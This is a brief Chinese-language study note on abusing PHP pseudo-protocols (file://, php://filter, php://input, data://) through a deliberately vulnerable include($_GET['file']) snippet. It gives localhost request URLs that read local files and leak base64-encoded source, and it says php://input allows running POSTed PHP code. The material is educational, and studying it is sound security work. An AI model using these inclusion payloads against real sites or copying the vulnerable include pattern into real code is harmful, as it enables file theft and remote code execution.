php伪协议
一、file://
用于访问本地系统文件,需要知道文件的绝对路径
1 <?php 2 include($_GET['file']); 3 ?>
然后传参http://127.0.0.1/1/php.php?file=file://D:\\phpstudy_pro\\WWW\\c.txt
二、 php://filter
用于读取文件源代码,并将base64编码之后的源代码输出
http://127.0.0.1/1/php.php?file=php://filter/read=convert.base64-encode/resource=c.txt
PD9waHANCnBocGluZm8oKTsgDQo/Pg== 即为<?php phpinfo();?>的base64编码
三、php://input
可以访问请求的原始数据的只读流,这里 allow_url_include 需要设置为 On
然后可以以post形式执行php代码
四、data://
这里 allow_url_include 和 allow_url_fopen 都需要设置为 On